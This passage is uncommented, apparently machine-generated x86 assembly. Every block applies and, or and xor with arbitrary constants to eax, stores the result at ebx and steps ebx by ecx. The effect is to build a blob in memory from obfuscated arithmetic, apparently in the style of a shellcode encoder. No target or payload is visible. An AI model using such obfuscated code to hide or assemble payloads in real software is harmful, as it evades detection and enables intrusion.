and eax, 0x2444507
or eax, 0xd008200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4620d51
and eax, 0x58e6f4b2
and eax, 0x8204012
or eax, 0xa0c81aad
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1051d31d
and eax, 0xb82980a2
or eax, 0x47464451
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58150518
and eax, 0x2f154578
or eax, 0x3204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3beab6f2
xor eax, 0x3af58f6
and eax, 0x20400308
or eax, 0x40011013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x767ef92a
and eax, 0x40400108
or eax, 0x17234c05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x28c81d9c
and eax, 0x89fa957
and eax, 0x104
or eax, 0x2d4b62cb
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f2ceec9
and eax, 0x17245bf
and eax, 0x1000081
or eax, 0x5e693236
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dde4a68
xor eax, 0x71b791f6
and eax, 0x240e808
or eax, 0x201214b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf79d050
and eax, 0x2d8d21e5
and eax, 0x2c010000
or eax, 0xd2928f09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27a102f3
and eax, 0x4000201
or eax, 0x2d0c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4179c4d4
and eax, 0x7332e7d4
and eax, 0x1120200
or eax, 0x8281e8e0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2765a3f7
and eax, 0x4b20913
or eax, 0x53010680
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d1efc04
or eax, 0x550e82bd
and eax, 0x1410041d
or eax, 0x20203040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d44e96f
and eax, 0x44
or eax, 0x285a4602
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b465c2d
and eax, 0x8024000
or eax, 0xd5219b22
mov dword [ebx], eax
add ebx, ecx
and eax, 0x348072c4
and eax, 0x3ce125db
and eax, 0x14000000
or eax, 0x622bdb25
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bfbc8ad
and eax, 0x477c1787
and eax, 0x3700204
or eax, 0x18870c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bcce89b
and eax, 0x3c40800
or eax, 0x543301e5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x117b7983
and eax, 0x535f7004
or eax, 0xa8000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e13987d
and eax, 0xde01b455
or eax, 0x800302
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a82b981
and eax, 0x7ed0a8ca
and eax, 0x24000842
or eax, 0x8aec7338
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b48b11
and eax, 0x81104008
or eax, 0x4a20c90
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56c7ac0b
and eax, 0xb1d06c8
and eax, 0x3110000
or eax, 0x28a22b38
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39e0808a
and eax, 0x29000000
or eax, 0x145fb672
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x928744
or eax, 0x3409171a
and eax, 0x288d172c
or eax, 0x40300000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3588cd9c
and eax, 8
or eax, 0x1404b851
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d83e2eb
or eax, 0x15bf7db4
and eax, 0x31bd2500
or eax, 0x82008041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72661956
or eax, 0x3dbeaeb3
and eax, 0x17b600b1
or eax, 0xc0405000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22b3f008
xor eax, 0x4975acf2
and eax, 0x8000084b
or eax, 0x20eb290
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15e8381a
xor eax, 0x481d8d41
and eax, 0x48049412
or eax, 0x13420a84
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d0a8614
xor eax, 0x72e23416
and eax, 0x6ae01202
or eax, 0x941b09e9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61904189
and eax, 0x11011022
or eax, 0x20048484
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf419169
and eax, 0x20
or eax, 0x6e72618e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd215b31
xor eax, 0x48187db9
and eax, 0x214b0020
or eax, 0x84a49080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41723537
and eax, 0x1401000
or eax, 0xb601a985
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e75a84a
and eax, 0x7d6936c2
and eax, 0x10002000
or eax, 0x8a2c03c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6999b4b5
and eax, 0x2aa1a652
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11191cb8
and eax, 0x7b0ad724
and eax, 0xa080020
or eax, 0xc0a2418d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b1854c5
xor eax, 0xd982463
and eax, 0x92004006
or eax, 0x9c0600
mov dword [ebx], eax
add ebx, ecx
and eax, 0x313d32db
and eax, 0x101c0202
or eax, 0xa4e1ad65
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23fdbb4e
and eax, 0x82000400
or eax, 0x80d4996
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f6e6f74
and eax, 0xa000d04
or eax, 0xb0810242
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfc17e8
or eax, 0x54f77312
and eax, 0x44461742
or eax, 0x2b08082d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37dd223d
and eax, 0x4daaf10c
and eax, 0x40820100
or eax, 0x100d8eed
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d447300
and eax, 0x100
or eax, 0x421c819
mov dword [ebx], eax
add ebx, ecx
or eax, 0x277e1ae
or eax, 0x41877291
and eax, 0x4057d325
or eax, 0x10000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63a21ec8
and eax, 0x610de1
or eax, 0x84000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7914772d
and eax, 0x3c442800
or eax, 0x2088522
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fdfaa57
and eax, 0xf4cea44
and eax, 0xc080800
or eax, 0x80041b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17c14682
and eax, 0x13494e12
or eax, 0x80141004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f3538c9
and eax, 0x12150800
or eax, 0x8822c717
mov dword [ebx], eax
add ebx, ecx
and eax, 0x108720db
xor eax, 0x2db2a434
and eax, 0x1d048423
or eax, 0x24a0a98
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2df2e91e
and eax, 0x100c2784
or eax, 0xcc400010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56df92eb
and eax, 0x5887d63d
and eax, 0x8838028
or eax, 0xe37c00c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x925847c
and eax, 0x82ec0092
or eax, 0x4002a01
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59b150f6
and eax, 0xd7192264
or eax, 0x20208402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4435b6e5
and eax, 0x7727c04f
and eax, 0x10000001
or eax, 0xc430b6ac
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x741ce111
and eax, 0x20281394
or eax, 0x50908801
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3eb2d1a9
or eax, 0x35d26e28
and eax, 0x442ec20
or eax, 0x40050010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bb49dc
or eax, 0x6f840de6
and eax, 0x6b14a844
or eax, 0x80005201
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2187ceb7
and eax, 0xc8023092
or eax, 0x68c30c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79db7c66
or eax, 0x5e44b87c
and eax, 0x16021030
or eax, 0x81100281
mov dword [ebx], eax
add ebx, ecx
and eax, 0x489fcdbf
and eax, 0x6a102acb
and eax, 0x100081
or eax, 0xb246bd00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6fbef073
and eax, 0x5e1a95ef
and eax, 0x180a85c1
or eax, 0x81e46004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30c179b2
and eax, 0x10004000
or eax, 0xcd010c5a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c7a3b68
and eax, 0xc1291300
or eax, 0x3880888c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46a92206
and eax, 0x9018008
or eax, 0x411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f8cbb79
and eax, 0x14842700
or eax, 0x120809f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15c21342
and eax, 0x10800202
or eax, 0x2258a81d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5eb0059b
and eax, 0x2800002
or eax, 0x65228120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71cb7e61
and eax, 0x408e941
or eax, 0x48900000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a3ec235
and eax, 0x4800204
or eax, 0x88194008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x700f7233
or eax, 0x2cf83f6f
and eax, 0x30200f5e
or eax, 0x1008080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33c76211
and eax, 0x22a6ee50
or eax, 0x84180020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x122063f1
and eax, 0xb0826a30
or eax, 0x400006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5909875
and eax, 0x6a84cca4
and eax, 0x20008000
or eax, 0xdb5d2ffe
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74aee927
and eax, 0x70080800
or eax, 0x81025210
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15c4bf5a
xor eax, 0x554921ad
and eax, 0x4090991
or eax, 0x9a004440
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d455a52
xor eax, 0x48e37bf
and eax, 0x8b25ee
or eax, 0xc3608000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ba703d8
or eax, 0x3cc27670
and eax, 0x54820026
or eax, 0x2300109
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45d3a2a
or eax, 0x43db93fb
and eax, 0x4212127b
or eax, 0x28206c00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18d794b5
xor eax, 0x5dc6a91a
and eax, 0xb000290
or eax, 0xc048182a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63db18da
and eax, 0x2090048
or eax, 0x4208404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b570ef3
and eax, 0x1b1a045d
or eax, 0xa0003000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x269068b4
or eax, 0x5d68e55e
and eax, 0x2e6ad4f6
or eax, 0x40200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a0a3434
and eax, 0x49d911f4
and eax, 0x40400040
or eax, 0xb4982434
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38d86a75
xor eax, 0x24c4b4c9
and eax, 0x480490c8
or eax, 0x6110510
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4762c863
and eax, 0x527016a
or eax, 0x880204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x218f26b9
and eax, 0x3b71e4b7
and eax, 0x21200025
or eax, 0x81c0a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b2781fe
and eax, 0x392d0895
or eax, 0x40403400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2959fee0
xor eax, 0x25285dbf
and eax, 0x15a140
or eax, 0x20a808a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15b1a30d
xor eax, 0x7c8bd9f1
and eax, 0x80c108
or eax, 0xa62008c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5bcee8da
xor eax, 0x224a3dbd
and eax, 0x54041406
or eax, 0x22120a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64fcfda2
and eax, 0x40141c00
or eax, 0x1968e178
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc1a4ec8
and eax, 0x39efecce
and eax, 0x19204c00
or eax, 0xa4811301
mov dword [ebx], eax
add ebx, ecx
and eax, 0x35bead8
or eax, 0x333d7e33
and eax, 0x33396800
or eax, 0xc02800c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f66231f
and eax, 0x1a200008
or eax, 0x6009d723
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58316817
and eax, 0x22103c2c
or eax, 0xe40000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4413ddb9
and eax, 0x400
or eax, 0xcb030057
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e8e2259
and eax, 0x6152c218
and eax, 0x1020018
or eax, 0x1a0cc8c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x185d8104
and eax, 0x428add3
and eax, 0x88880
or eax, 0xc6d06220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74d1a4ac
xor eax, 0xcf94172
and eax, 0xe30040e
or eax, 0x400cc001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x162b8a43
and eax, 0x1810020e
or eax, 0x1001110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47cebca9
or eax, 0x3ee11d28
and eax, 0x152a8a17
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38bd4aa
xor eax, 0x1c30d249
and eax, 0x2808850
or eax, 0xb52e0000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a222805
and eax, 0x4d1f013f
and eax, 0
or eax, 0x8c65ec27
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a8a55dd
and eax, 0x4405
or eax, 0xa50db1f2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2917e6aa
and eax, 0x2d0cb534
or eax, 0x10000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3403f27e
and eax, 0x3c0e624c
or eax, 0x42a00001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a8d0d32
and eax, 0x28080000
or eax, 0x1239638
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71c987c
or eax, 0x5f6f07ee
and eax, 0x1a1909a6
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6186f4f2
or eax, 0xb0653e3
and eax, 0x58151995
or eax, 0x84000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5af557fa
or eax, 0x11d8cbba
and eax, 0x4d0c414
or eax, 0x48001000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b796da4
and eax, 0x16a9b100
or eax, 0x20544249
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d39f316
and eax, 0x31c51206
or eax, 0x400000a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60c5b934
xor eax, 0x6203fa83
and eax, 0x2c680a1
or eax, 0x64211408
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dd15d4b
and eax, 0x63350cc9
or eax, 0x80082004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9f47727
and eax, 0x2f276317
and eax, 0x29052300
or eax, 0xd0909890
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57634500
xor eax, 0x323bcf70
and eax, 0x4d4000c0
or eax, 0x2022861a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1dcfcab2
or eax, 0x2ade2d6d
and eax, 0x9582a66
or eax, 0x50200000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49e5f90c
xor eax, 0xf0a5879
and eax, 0x2a203c
or eax, 0x11900802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x444429c1
and eax, 0x10f400ac
or eax, 0x82011400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x854e97
and eax, 0x800000
or eax, 0x44127352
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d38d1f7
and eax, 0x1800a2a4
or eax, 0x80041858
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11b6ad31
and eax, 0xfb7ee63
and eax, 0x8200641
or eax, 0x6048d098
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34c672b4
and eax, 0x20404090
or eax, 0xdd06a909
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b33dcdd
and eax, 0x175c4ec
and eax, 0x350044
or eax, 0xb28acaa3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21a28a31
and eax, 0x900c0010
or eax, 0xa08529
mov dword [ebx], eax
add ebx, ecx
or eax, 0x302c4bef
and eax, 0xa000cc9d
or eax, 0x44011000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42bc9233
and eax, 0x9001
or eax, 0xb2266ec4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49f16b0
or eax, 0x454c2c6a
and eax, 0x771b4c8d
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9a66322
xor eax, 0x3df7fcb3
and eax, 0x88210
or eax, 0x21344803
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e8d2e41
xor eax, 0x7746d00
and eax, 0x48c88350
or eax, 0x15062088
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57db05f0
or eax, 0x2b617b55
and eax, 0xa00c930
or eax, 0x448a0002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77a25fdd
and eax, 0x4804800
or eax, 0x917c242f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x615ae6cd
and eax, 0x24b4ecc6
or eax, 0xa011100
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfc06ea0
xor eax, 0x1219236b
and eax, 0x1c800569
or eax, 0xc144a004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e530c4f
xor eax, 0x2ae21802
and eax, 0x12021806
or eax, 0x10c210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc57942f
and eax, 0xc040020
or eax, 0x40980000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60695fb
and eax, 0x2494554a
and eax, 0x40000
or eax, 0xb9b13507
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6074cd64
xor eax, 0x6845d4e7
and eax, 0x1800900
or eax, 0x220fd00d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x520069a3
and eax, 0x3b3fac7a
and eax, 0x103a00a
or eax, 0x82b043c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x70345c30
xor eax, 0x69a847e5
and eax, 0x10173812
or eax, 0x41400701
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7de892bf
or eax, 0x73f54279
and eax, 0x3edc4014
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x471908a7
or eax, 0x45476e20
and eax, 0x21f2820
or eax, 0x8201158
mov dword [ebx], eax
add ebx, ecx
or eax, 0x39b2394e
and eax, 0x3f6eed1c
and eax, 0x3826010c
or eax, 0xc0105640
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fdf493a
or eax, 0x62347fdd
and eax, 0x6035492d
or eax, 0x10028000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59597b39
and eax, 0x80c2000
or eax, 0x1090042a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x526baaf0
xor eax, 0x438281da
and eax, 0x11002e00
or eax, 0xe00200dd
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b79535b
and eax, 0x90290100
or eax, 0x1000050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x493de7af
and eax, 0x5be4bd4f
and eax, 0x1200000
or eax, 0xaa174049
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32b8382e
and eax, 0x2100008
or eax, 0xd189bf81
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e920547
and eax, 0x21b45c91
and eax, 0x100080
or eax, 0xc0d0010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ead3044
or eax, 0x12ac0feb
and eax, 0x2a00907
or eax, 0x49438000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b5d2853
xor eax, 0x306b0b44
and eax, 0x11100012
or eax, 0x202150c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b4f688a
and eax, 0x1000002
or eax, 0x8854893c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7bd3b6d0
and eax, 0x7897b28c
or eax, 0x204000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x153769a8
or eax, 0x1d791968
and eax, 0x19491964
or eax, 0x2026000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63ecd49b
xor eax, 0x7dbfe957
and eax, 0x3451a810
or eax, 0x81080000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74200170
and eax, 0x1fd7bec2
and eax, 0x11102040
or eax, 0xca2a5400
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc65cd5c
or eax, 0x799d8100
and eax, 0xa15f8d54
or eax, 0x2a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f5df39e
xor eax, 0x67593fd1
and eax, 0x1002002c
or eax, 0x65f03390
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46c3a28b
and eax, 0x12319023
or eax, 0x44c828c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cb1d3a7
and eax, 0x32d0c227
or eax, 0x81020000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f718451
and eax, 0x94004626
or eax, 0x23048180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b0a281c
xor eax, 0x75b94915
and eax, 0x44110911
or eax, 0x800b48e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cfefebe
or eax, 0x6be92382
and eax, 0x206c23a0
or eax, 0x4008c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x320f49c8
or eax, 0x31d02eaa
and eax, 0x11880e28
or eax, 0xc600c050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b92efc0
xor eax, 0x15e4b41a
and eax, 0x9a81522
or eax, 0x10002a1d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8e2a229
and eax, 0x1922be32
or eax, 0x420440c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74c2eb51
and eax, 0x4002e200
or eax, 0x86811086
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x787337bb
and eax, 0x8810013d
or eax, 0xb1ac2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a52481c
and eax, 0x14
or eax, 0xe2e53160
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5082a2b0
and eax, 0x326483c4
or eax, 0x8100413
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1de0c823
xor eax, 0x7ed8de8a
and eax, 0x40201101
or eax, 0x843ce02
mov dword [ebx], eax
add ebx, ecx
and eax, 0x587a6d4c
xor eax, 0x7e7856a6
and eax, 0x20181a24
or eax, 0x1c0e018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xaf44c65
or eax, 0x3d07f868
and eax, 0x2a2a7230
or eax, 0xc0900082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fa17063
and eax, 0x21080051
or eax, 0xa047008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31d7b738
and eax, 0x29433308
or eax, 0xc0200804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c662db1
and eax, 0x28627fe
and eax, 0x40020
or eax, 0xe4289000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7abd7c2a
xor eax, 0x3cdaf1f2
and eax, 0x824a1828
or eax, 0x58b00202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f1bd9f2
and eax, 0x4ebc8f0b
and eax, 0x180800
or eax, 0x44095b4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d17f83d
or eax, 0x5d21a847
and eax, 0x3524e9c2
or eax, 0x80901210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20e1f052
and eax, 0x277e9fa1
and eax, 0x4000100
or eax, 0xc2294055
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13b848f8
and eax, 0x55810820
or eax, 0x28040602
mov dword [ebx], eax
add ebx, ecx
and eax, 0xffb6138
and eax, 0x5010000
or eax, 0x2451c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f0b641c
and eax, 0x6719aafd
and eax, 0x6008208c
or eax, 0x88000f23
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bddb4ca
and eax, 0x68082000
or eax, 0x155165
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61d645a3
and eax, 0x290c34e0
or eax, 0x2008018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e3e8c52
or eax, 0x58f834cb
and eax, 0x4df220a3
or eax, 0x8205c210
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe62aa1
or eax, 0x186ae5c1
and eax, 0xd4e5edd3
or eax, 0x100c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f2dbd1b
and eax, 0x93c04084
or eax, 0x4178331
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72810d68
xor eax, 0x19b86369
and eax, 0x2100248
or eax, 0x10829506
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x506bb55d
xor eax, 0x21f2a0b5
and eax, 0x43098004
or eax, 0xca41d19
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7baa5f41
or eax, 0x3ef9005e
and eax, 0x72bf070b
or eax, 0x800020a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b515bda
xor eax, 0x410b7928
and eax, 0x551
or eax, 0x40124082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x390f999c
and eax, 0x20090
or eax, 0x1e1dbc24
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f617978
xor eax, 0x6cbc14b8
and eax, 0x50950c00
or eax, 0x8400c342
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11e2df25
xor eax, 0x57f23f72
and eax, 0x1402050
or eax, 0x20810084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4350cd69
and eax, 0x6ed004bf
and eax, 0x400000
or eax, 0x7e1eb685
mov dword [ebx], eax
add ebx, ecx
or eax, 0x266dd129
and eax, 0x3451a6ac
or eax, 0x52
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8393555
and eax, 0x1071a57f
or eax, 0x81804000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x419af5fa
or eax, 0x421d514d
and eax, 0x420d9430
or eax, 0x8c200280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32bc3931
and eax, 0x7721265e
and eax, 0x30000200
or eax, 0x3d6d91e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cf51956
and eax, 0x2521c048
or eax, 0x90403cb4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x435603e2
or eax, 0x50870fd7
and eax, 0xb4b03d17
or eax, 0x8400020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22a58ce1
xor eax, 0x2c3036ec
and eax, 0x82050313
or eax, 0x283264a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49797067
and eax, 0x8004002
or eax, 0x11441090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x621090da
or eax, 0x3b320b17
and eax, 0x2b24c017
or eax, 0x80080420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c7ef566
xor eax, 0x148ba98b
and eax, 0x15018ca
or eax, 0x8040705
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ef9cb46
and eax, 0x5a05408
or eax, 0x88402350
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b512c4a
and eax, 0x2cddd520
and eax, 0xc511500
or eax, 0xa20228e4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63b376a3
and eax, 0x10694f95
and eax, 0x614701
or eax, 0x8a8e9062
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73a88ade
and eax, 0x98c150ca
or eax, 0x4100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bb5b97c
and eax, 0xc16401a4
or eax, 0x10991000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3eeb5040
xor eax, 0x7560b67c
and eax, 0x92040788
or eax, 0x20010863
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31a15d8
and eax, 0x42b0131a
and eax, 0x1018
or eax, 0xf0884c85
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c1e9985
and eax, 0x40081884
or eax, 0x2d47047a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e6771df
or eax, 0x695085dd
and eax, 0x611215c0
or eax, 0x90286020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x790020b4
and eax, 0x74824ffc
and eax, 0x20040
or eax, 0x46652aa2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x292c573f
or eax, 0x6cea8afb
and eax, 0x6e031bef
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a73748a
and eax, 0x70031f24
or eax, 0x8c0000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5285d09
xor eax, 0x5466aab0
and eax, 0x5002b720
or eax, 0x20800048
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ae38eeb
xor eax, 0x44972b13
and eax, 0x14001438
or eax, 0x1002205
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24f03868
or eax, 0x7c0232b6
and eax, 0x344202a4
or eax, 0x82040100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e30e7a5
and eax, 0x48726400
or eax, 0x23080be6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10ba1b37
and eax, 0x8605c33
or eax, 0x4058000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30a8195f
xor eax, 0x6643b4e6
